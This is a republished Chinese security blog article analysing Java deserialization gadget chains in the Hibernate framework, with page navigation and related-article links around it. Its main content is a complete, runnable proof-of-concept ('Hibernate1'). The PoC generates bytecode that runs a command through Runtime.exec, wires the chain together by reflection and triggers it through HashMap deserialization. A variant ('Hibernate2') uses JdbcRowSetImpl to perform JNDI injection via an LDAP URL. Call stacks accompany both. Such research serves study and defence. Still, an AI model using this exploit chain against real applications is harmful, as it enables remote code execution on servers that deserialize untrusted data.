Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >深究Java Hibernate框架下的Deserialization

深究Java Hibernate框架下的Deserialization

作者头像
FB客服
发布于 2023-03-30 10:41:33
发布于 2023-03-30 10:41:33
65600
代码可运行
举报
文章被收录于专栏:FreeBufFreeBuf
运行总次数:0
代码可运行

 写在前面 

Hibernate是一个开源免费的、基于 ORM 技术的 Java 持久化框架。通俗地说,Hibernate 是一个用来连接和操作数据库的 Java 框架,它最大的优点是使用了 ORM 技术。

Hibernate 支持几乎所有主流的关系型数据库,只要在配置文件中设置好当前正在使用的数据库,程序员就不需要操心不同数据库之间的差异。

 分析 

对于Hibernate框架的反序列化链主要是通过调用了任意的getter方法,结合TemplatesImpl这条链子进行利用链的构造。

BasicPropertyAccessor

在该框架中存在有org.hibernate.property.PropertyAccessor这个接口。

我们从这个注释可以知道,定义了一个类的属性值的相关策略,在接口中的定义了两个方法,分别为getGettergetSetter方法。该接口的实现类是BasicPropertyAccessor。

定义了两个实现类BasicGetter/ BasicSetter。主要来看看BasicGetter类。

首先,在其构造方法中传入了三个参数,分别是目标类,目标方法,目标属性。

同时关注get方法的实现,将会触发目标的method方法,这里就是漏洞点。

那么这个Getter又是从何而来的呢?

我们可以关注到BasciPropertyAccessor类对getSetter方法的重写。

在getSetter方法中将会调用createGetter方法,进而调用了getGetterOrNull方法。

在该方法中,将会通过getterMethod方法得到对应属性的getter方法名,如

果存在的话,将会将其封装为BasicGetter对象进行返回。

那我们跟进一下getterMethod方法。

首先在该方法中将会调用theClass.getDeclaredMethods方法得到目标类的所有存在的方法,之后遍历这些方法,如果该方法参数个数不为零就跳过,获取方法返回Bridge也会跳过,之后在获取该方法名之后,判断是否是get开头,如果是,将会进行比对处理之后返回这个方法。

就这样得到了对应的Getter方法,而想要调用,还需要使用他的get方法。

那么又是在哪里调用了其get方法的呢?AbstractComponentTuplizer,答案就这个类中,类中存在一个getPropertyValue方法。

将会遍历调用getters属性中的get方法,我们看看getters属性是个啥。

他是一个Getter对象数组,正好了,上面返回了一个Getter方法,可以反射写入这个数组中,在getPropertyValue方法中调用其get方法,达到利用链的触发。

但是值得注意的是AbstractComponentTuplizer是一个抽象类,我们寻找一下他的子类。

存在有两个子类,DynamicMapComponentTuplizer类和PojoComponentTuplizer类一个是处理映射为Map对象,一个映射为JAVA实体。

我们可以发现在PojoComponentTuplizer类中存在有getPropertyValues方法。

且能够调用父类的getPropertyValues方法,那么这个类方法又是在何处存在调用。

TypedValue

通过Uage的搜索。

发现在org.hibernate.type.ComponentType#getPropertyValue存在有相关方法的调用。

这条链子的关键点还是在org.hibernate.engine.spi.TypedValue类中。

在其构造方法中传入了Type和Object对象的映射,在上面提到的ComponentType同样实现了Type接口,在构造方法中除了赋值,还调用了initTransients方法。

创建了一个 ValueHolder 对象,并为其赋予了一个新的 DeferredInitializer 对象并重写了initialize()方法。之后将其赋予给hashCode属性,我们可以关注到反序列化入口点,在hashCode方法中调用了初始化赋值的hashCode属性的getValue方法。

即是调用了ValueHolder#getValue方法,

在这里将会调用之前初始化时重写的initialize方法,

如果此时的typeComponentType就将会调用它的getHashCode方法,

最终调用了getPropertyValue方法形成了利用链。

 利用构造 

Hibernate1

同样的,首先创建一个TemplatesImpl对象

代码语言:javascript
代码运行次数:0
运行
复制
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
//动态创建字节码String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("Evil");ctClass.makeClassInitializer().insertBefore(cmd);ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

(向右滑动、查看更多)

之后获取对应的getter。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);constructor.setAccessible(true);getter = constructor.newInstance(templates.getClass(), method, "outputProperties");(向右滑动、查看更多)

之后我们需要触发getter的get方法,根据前面的分析,我们可以知道是通过调用org.hibernate.tuple.component.PojoComponentTuplizer类触发get的调用。

所以我们创建一个实例并反射写入数据。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里Field field = abstractComponentTuplizerClass.getDeclaredField("getters");field.setAccessible(true);Object getters = Array.newInstance(getter.getClass(), 1);Array.set(getters, 0, getter);field.set(tuplizer, getters);(向右滑动、查看更多)

完整的POC

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package pers.hibernate;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.hibernate.engine.spi.TypedValue;import org.hibernate.type.Type;import pers.util.SerializeUtil;
import java.io.ByteArrayOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;
public class Hibernate1 {
    public static void main(String[] args) throws Exception {
        Class<?> componentTypeClass             = Class.forName("org.hibernate.type.ComponentType");        Class<?> pojoComponentTuplizerClass     = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");        Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");

        //动态创建字节码        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";        ClassPool pool = ClassPool.getDefault();        CtClass ctClass = pool.makeClass("Evil");        ctClass.makeClassInitializer().insertBefore(cmd);        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();        SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");        SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});        Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");
        Object getter;        try {            // 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法            Class<?>       getterImpl  = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");            Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];            constructor.setAccessible(true);            getter = constructor.newInstance(null, null, method);        } catch (Exception ignored) {            // 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法            Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");            Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);            constructor.setAccessible(true);            getter = constructor.newInstance(templates.getClass(), method, "outputProperties");        }
        // 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法        Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);
        // 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里        Field field = abstractComponentTuplizerClass.getDeclaredField("getters");        field.setAccessible(true);        Object getters = Array.newInstance(getter.getClass(), 1);        Array.set(getters, 0, getter);        field.set(tuplizer, getters);
        // 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法        Object type = SerializeUtil.createWithoutConstructor(componentTypeClass);
        // 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件        Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");        field1.setAccessible(true);        field1.set(type, tuplizer);
        Field field2 = componentTypeClass.getDeclaredField("propertySpan");        field2.setAccessible(true);        field2.set(type, 1);
        Field field3 = componentTypeClass.getDeclaredField("propertyTypes");        field3.setAccessible(true);        field3.set(type, new Type[]{(Type) type});
        // 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法        TypedValue typedValue = new TypedValue((Type) type, null);
        // 创建反序列化用 HashMap        HashMap<Object, Object> hashMap = new HashMap<>();        hashMap.put(typedValue, "su18");
        // put 到 hashmap 之后再反射写入,防止 put 时触发        Field valueField = TypedValue.class.getDeclaredField("value");        valueField.setAccessible(true);        valueField.set(typedValue, templates);
        ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(hashMap);        SerializeUtil.readObject(byteArrayOutputStream);    }}(向右滑动、查看更多)

解释一下其中try catch句中是因为。

在不同版本中,由于部分类的更新交替,利用的 Gadget 细节则不同。ysoserial 中也根据不同情况给出了需要修改的利用链:

  • 使用org.hibernate.property.access.spi.GetterMethodImpl替代org.hibernate.property.BasicPropertyAccessor$BasicGetter
  • 使用org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping来对 PojoComponentTuplizer 进行封装

调用栈

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
exec:347, Runtime (java.lang)<clinit>:-1, EvilnewInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor (java.lang.reflect)newInstance:442, Class (java.lang)getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)getPropertyValue:414, ComponentType (org.hibernate.type)getHashCode:242, ComponentType (org.hibernate.type)initialize:98, TypedValue$1 (org.hibernate.engine.spi)initialize:95, TypedValue$1 (org.hibernate.engine.spi)getValue:72, ValueHolder (org.hibernate.internal.util)hashCode:73, TypedValue (org.hibernate.engine.spi)hash:339, HashMap (java.util)readObject:1413, HashMap (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)readObject:51, SerializeUtil (pers.util)main:102, Hibernate1 (pers.hibernate)(向右滑动、查看更多)

Hibernate2

上一条链是通过触发TemplatesImpl类的getOutputProperties方法触发的。这条链就是通过JdbcRowSetImpl这条链触发JNDI注入,细节在fastjson的利用链中就讲过了,可以找一下我的文章。因为我们能够触发任意的getter方法,所以我们可以通过调用get

DatabaseMetaData方法。

进而调用connect方法触发漏洞,

POC的构造也很简单,只需要将前面创建TemplatesImpl对象的部分改为创建JdbcRowSetImpl 类对象。

代码语言:javascript
代码运行次数:0
运行
复制
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
JdbcRowSetImpl rs = new JdbcRowSetImpl();rs.setDataSourceName("ldap://127.0.0.1:23457/Command8");Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");

(向右滑动、查看更多)

调用链

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
exec:347, Runtime (java.lang)<clinit>:-1, ExecTemplateJDK8forName0:-1, Class (java.lang)forName:348, Class (java.lang)loadClass:91, VersionHelper12 (com.sun.naming.internal)loadClass:106, VersionHelper12 (com.sun.naming.internal)getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)getObjectInstance:189, DirectoryManager (javax.naming.spi)c_lookup:1085, LdapCtx (com.sun.jndi.ldap)p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)lookup:94, ldapURLContext (com.sun.jndi.url.ldap)lookup:417, InitialContext (javax.naming)connect:624, JdbcRowSetImpl (com.sun.rowset)getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)getPropertyValue:414, ComponentType (org.hibernate.type)getHashCode:242, ComponentType (org.hibernate.type)initialize:98, TypedValue$1 (org.hibernate.engine.spi)initialize:95, TypedValue$1 (org.hibernate.engine.spi)getValue:72, ValueHolder (org.hibernate.internal.util)hashCode:73, TypedValue (org.hibernate.engine.spi)hash:339, HashMap (java.util)readObject:1413, HashMap (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)readObject:51, SerializeUtil (pers.util)main:88, Hibernate2 (pers.hibernate)(向右滑动、查看更多)

 总结 

对于Hibernate的链子来说,还是要看具体的版本,再次修改POC,自我感觉版本之间的关键方法差异有点大。

Ref:

https://su18.org/

精彩推荐

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-11-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
commons-beanutils 的三种利用原理构造与POC
commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对bean对象的属性进行各种操作。
FB客服
2022/11/14
1.1K0
commons-beanutils 的三种利用原理构造与POC
Java安全之ROME反序列化
ROME 是用于 RSS 和 Atom 订阅的 Java 框架。 并根据 Apache 2.0 许可证开源。ROME 包括一组用于各种形式的联合供稿的解析器和生成器,以及用于从一种格式转换为另一种格式的转换器。 解析器可以为您提供特定于您要使用的格式的 Java 对象,或者为您提供通用的规范化 SyndFeed 类,该类使您可以处理数据而不必担心传入或传出的提要类型。
ph0ebus
2023/08/13
4520
IDEA动态调试(二)——反序列化漏洞(Fastjson)
成因:在把其他格式的数据反序列化成java类的过程中,由于输入可控,导致可以执行其他恶意命令,但追根究底是需要被反序列化的类中重写了readObject方法,且被重写的readObject方法/调用链中被插入了恶意命令。
Jayway
2020/03/16
2.9K0
IDEA动态调试(二)——反序列化漏洞(Fastjson)
Java 反序列化学习
讲的比较清楚的文章:https://www.cnblogs.com/ityouknow/p/5603287.html
wywwzjj
2023/05/09
1.4K0
Java 反序列化学习
JDK7u21反序列化漏洞分析笔记
JDK7u21原生gadget链的构造十分经典,在对于其构造及思想学习后,写下本文作为笔记。
p4nda
2023/01/03
5550
JDK7u21反序列化漏洞分析笔记
RMI攻击Registry的两种方式
RMI(Remote Method Invocation) :远程方法调用。它使客户机上运行的程序可以通过网络实现调用远程服务器上的对象,要实现RMI,客户端和服务端需要共享同一个接口。
FB客服
2022/11/14
4420
RMI攻击Registry的两种方式
Java安全之Commons Collections1-3分析
CC1分析 POC: import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTrans
红队蓝军
2022/05/17
2130
Java安全之Commons Collections1-3分析
Java ROME反序列化链分析
此时this._equalsBean为EqualsBean,继续跟入EqualsBean.beanHashCode()
yulate
2023/05/02
2280
Java ROME反序列化链分析
Java安全之Hessian反序列化
Hessian是一个基于HTTP协议采用二进制格式传输的RPC服务框架,相对传统的SOAP web service,更轻捷。Hessian是Apache Dubbo在Java语言的实现,该框架还提供了Golang、Rust、Node.js 等多语言实现。Hessian 是一种动态类型、二进制序列化和 Web 服务协议,专为面向对象的传输而设计。
ph0ebus
2023/08/26
1K0
FastJson1&FastJson2反序列化利用链分析
写这篇文章的起因是在二开ysoserial的时候突然发现在Y4er师傅的ysoserial当中有两条关于FastJson的利用链,分别是FastJson1&FastJson2但是这两条利用链都不是像之前分析fastjson利用链一样,之前的利用链分析的是fastjson在解析json格式的数据时,通过构造恶意的json数据来对fastjson进行攻击,期间会涉及到1.2.24-1.2.80等不同版本的绕过以及额外数据包的依赖。而这里的FastJson1&FastJson2是利用FasJson当中某些函数的调用关系,结合java原生反序列化来对目标应用进行攻击的一种方式。
Al1ex
2024/08/05
2810
FastJson1&FastJson2反序列化利用链分析
fastjson从0到1
1.fastjson简单使用 User: package com.naihe; public class User { private String name; private int age; public User() {} public User(String name, int age) { this.name = name; this.age = age; } public String getNam
红队蓝军
2022/03/16
4180
fastjson从0到1
Apache-Commons-Collections 反序列化分析
我在网上找到了一则利用代码,虽然这个利用代码很粗浅,并没有CC链1的触发过程,但是对于这条链的原理还是可见一斑的。
ConsT27
2022/03/15
9660
Apache-Commons-Collections 反序列化分析
Java反序列化(九) | CommonsBeanutils
其实前面的CommonsBeanutilsShiro已经使用了一遍了, 但是想了想CB链还是值得拥有自己的一篇的文章的所以就再分析了一遍。
h0cksr
2023/05/17
4390
CommonsBeanUtils 反序列化
我的博客即将同步至腾讯云+社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=g3z1bctpoyvz C
ConsT27
2022/02/18
6680
CommonsBeanUtils 反序列化
Java安全之Commons Collections1-3分析
CC1分析 POC: import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTran
红队蓝军
2022/03/11
4020
Java安全之Commons Collections1-3分析
【漏洞分析】Dubbo Pre-auth RCE(CVE-2021-30179)
Dubbo使用DecodeHandler#received方法来接收来自socket的连接,当接收到请求时会先调用DecodeHandler#decode方法处理请求,其将调用DecodeableRpcInvocation.java#decode方法处理数据
Timeline Sec
2021/08/20
1.6K0
7u21链浅析
我们先来看看ysonerial里的payload是怎么写的,然后沿着其思路进行分析
ConsT27
2022/02/14
3430
7u21链浅析
fastjson从0到1
fastjson简单使用 User: package com.naihe; public class User { private String name; private int age; public User() {} public User(String name, int age) { this.name = name; this.age = age; } public String getName()
红队蓝军
2022/05/17
4270
fastjson从0到1
Java安全漫谈学习笔记 — 一个新旧交替的时刻
​ 准备过两天开始对Java反序列化和内核漏洞这两块展开一些深入的学习,但是Java的内容以及好几个月没用看了都快忘干净了,所以今天就把之前自己写的一些文章重新看了一遍,之后就开始展开学习,所以这就是为什么我说这是一个新旧交替的时刻的原因了。刚好想到p师傅的[Java安全漫谈系列](phith0n/JavaThings: Share Things Related to Java – Java安全漫谈笔记相关内容 (github.com))之前还没看过就直接全部过了一遍,感觉还是有很多新收获的。
h0cksr
2023/05/17
1.1K0
Java反序列化(八) | CommonsBeanutilsShiro
可见使用到CommonsCollections包, 此外还有一个问题就是这里用的CB依赖版本为1.9.2 , 但是我们在Shiro-1.2.4中默认的CB依赖版本为1.8.3 。
h0cksr
2023/05/17
4180
相关推荐
commons-beanutils 的三种利用原理构造与POC
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验